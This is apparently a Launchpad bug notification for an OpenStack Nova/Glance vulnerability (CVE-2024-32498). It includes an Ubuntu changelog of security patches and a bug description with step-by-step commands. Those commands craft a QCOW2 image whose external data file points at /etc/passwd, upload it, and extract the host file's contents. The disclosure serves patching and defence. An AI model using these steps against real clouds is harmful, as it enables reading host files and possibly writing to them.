[Bug 2059809] Re: [OSSA-2024-001] Arbitrary file access through QCOW2 external data file (CVE-2024-32498)

Mon Jul 8 13:01:46 UTC 2024

This bug was fixed in the package nova - 3:28.0.1-0ubuntu1.3~cloud0
---------------

 nova (3:28.0.1-0ubuntu1.3~cloud0) jammy; urgency=medium
 .
   * SECURITY UPDATE for Ubuntu Cloud Archive. backport to jammy.
 .
 nova (3:28.0.1-0ubuntu1.3) mantic-security; urgency=medium
 .
   * SECURITY UPDATE: Arbitrary file access via custom QCOW2 external data
     (LP: #2059809)
     - debian/patches/CVE-2024-32498-1.patch: reject qcow files with
       data-file attributes.
     - debian/patches/CVE-2024-32498-2.patch: check images with
       format_inspector for safety.
     - debian/patches/CVE-2024-32498-3.patch: additional qemu safety
       checking on base images.
     - debian/patches/CVE-2024-32498-4.patch: fix vmdk_allowed_types
       checking.
     - CVE-2024-32498
 .
 nova (3:28.0.1-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf: Create stable/2023.2 branch.
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * New stable point release for OpenStack Bobcat (LP: #2046359).
 .
 nova (3:28.0.0-0ubuntu1) mantic; urgency=medium
 .
   * New upstream release for OpenStack Bobcat.
 .
 nova (3:27.1.0+git2023090509.82a17a37-0ubuntu1) mantic; urgency=medium
 .
   * New upstream snapshot for OpenStack Bobcat.
   * d/control: Align (Build-)Depends with upstream.
   * d/p/drop-actdiag.patch: Temporarily drop actdiag until bug fixed upstream.
   * d/p/install-missing-db-files.patch: Install missing db files, including
     nova/db/api/alembic.ini and nova/db/main/alembic.ini.
 .
 nova (3:27.1.0+git2023071215.f7ce4df5-0ubuntu1) mantic; urgency=medium
 .
   * d/gbp.conf, .launchpad.yaml: Sync from cloud-archive-tools for
     bobcat.
   * d/p/skip-if-https-proxy.patch: Test skipped if https-proxy is set
     as lpci builds in .launchpad.yaml do.
   * New upstream snapshot for OpenStack Bobcat.
   * d/p/CVE-2023-2088-*.patch: Dropped. Fixed in snapshot.
 .
 nova (3:27.0.0-0ubuntu4) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access (LP: #2021980)
     - debian/patches/CVE-2023-2088-1.patch: Use force=True for os-brick
       disconnect during delete.
     - debian/patches/CVE-2023-2088-2.patch: Enable use of service user
       token with admin context.
     - CVE-2023-2088
 .
 nova (3:27.0.0-0ubuntu3) mantic; urgency=medium
 .
   * SECURITY REGRESSION: Regressions in other projects (LP: #2020111)
     - debian/patches/series: Do not apply CVE-2023-2088.patch until
       patches are ready for all upstream OpenStack projects.
     - CVE-2023-2088
 .
 nova (3:27.0.0-0ubuntu2) mantic; urgency=medium
 .
   * SECURITY UPDATE: Unauthorized File Access
     - debian/patches/CVE-2023-2088.patch: Use force=True for os-brick
       disconnect during delete.
     - CVE-2023-2088
 .
 nova (3:27.0.0-0ubuntu1) lunar; urgency=medium
 .
   * New upstream release for OpenStack Antelope.
 .
 nova (3:26.1.0+git2023030309.59f7a524-0ubuntu2) lunar; urgency=medium
 .
   * d/nova-compute-qemu.postinst: Add nova user to kvm group (LP: #2011535).
 .
 nova (3:26.1.0+git2023030309.59f7a524-0ubuntu1) lunar; urgency=medium
 .
   * d/watch: Drop major version.
   * New upstream snapshot for OpenStack Antelope.
 .
 nova (3:26.1.0+git2023012815.98daf501-0ubuntu1) lunar; urgency=medium
 .
   * New upstream snapshot for OpenStack Antelope.
   * d/control: Align (Build-)Depends with upstream.
 .
 nova (3:26.0.0+git2023011010.5e5b6751-0ubuntu1) lunar; urgency=medium
 .
   * New upstream snapshot for OpenStack Antelope.
   * d/control: Align (Build-)Depends with upstream.
 .
 nova (3:26.0.0-0ubuntu1) kinetic; urgency=medium
 .
   * d/watch: Scope to 26.x series
   * New upstream release for OpenStack Zed.
   * d/control: Align (Build-)Depends with upstream.

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https://bugs.launchpad.net/bugs/2059809

Title:
  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file
  (CVE-2024-32498)

Status in Cinder:
  Fix Released
Status in Ubuntu Cloud Archive:
  Fix Released
Status in Ubuntu Cloud Archive antelope series:
  Fix Released
Status in Ubuntu Cloud Archive bobcat series:
  Fix Released
Status in Ubuntu Cloud Archive caracal series:
  Fix Released
Status in Ubuntu Cloud Archive ussuri series:
  Fix Committed
Status in Ubuntu Cloud Archive yoga series:
  Fix Released
Status in Glance:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

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